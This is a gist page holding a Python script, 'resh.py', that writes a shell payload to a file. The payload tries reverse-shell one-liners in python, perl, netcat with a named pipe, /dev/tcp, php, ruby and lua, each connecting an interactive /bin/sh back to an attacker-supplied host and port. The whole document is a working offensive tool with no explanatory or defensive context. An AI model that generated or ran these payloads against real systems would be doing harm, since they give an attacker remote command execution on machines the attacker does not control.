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xct/resh.py Secret

Created Jun 18, 2021
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Resh
#!/usr/bin/env python3
import sys
if len(sys.argv) < 3:
print("Usage: python3 resh.py <lhost> <lport> <filename>")
sys.exit(0)
lhost = sys.argv[1]
lport = sys.argv[2]
fname = sys.argv[3]
resh = f'''
if command -v python > /dev/null 2>&1; then
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("{lhost}",{lport})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
exit;
fi
if command -v perl > /dev/null 2>&1; then
perl -e 'use Socket;$i="{lhost}";$p={lport};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}};'
exit;
fi
if command -v nc > /dev/null 2>&1; then
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f
exit;
fi
if command -v sh > /dev/null 2>&1; then
/bin/sh -i >& /dev/tcp/{lhost}/{lport} 0>&1
exit;
fi
if command -v php > /dev/null 2>&1; then
php -r '$sock=fsockopen("{lhost}",{lport});exec("/bin/sh -i <&3 >&3 2>&3");'
exit;
fi
if command -v ruby > /dev/null 2>&1; then
ruby -rsocket -e'f=TCPSocket.open("{lhost}",{lport}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
exit;
fi
if command -v lua > /dev/null 2>&1; then
lua -e "require('socket');require('os');t=socket.tcp();t:connect('{lhost}','{lport}');os.execute('/bin/sh -i <&3 >&3 2>&3');"
exit;
fi
'''
with open(fname, "w") as f:
f.write(resh)
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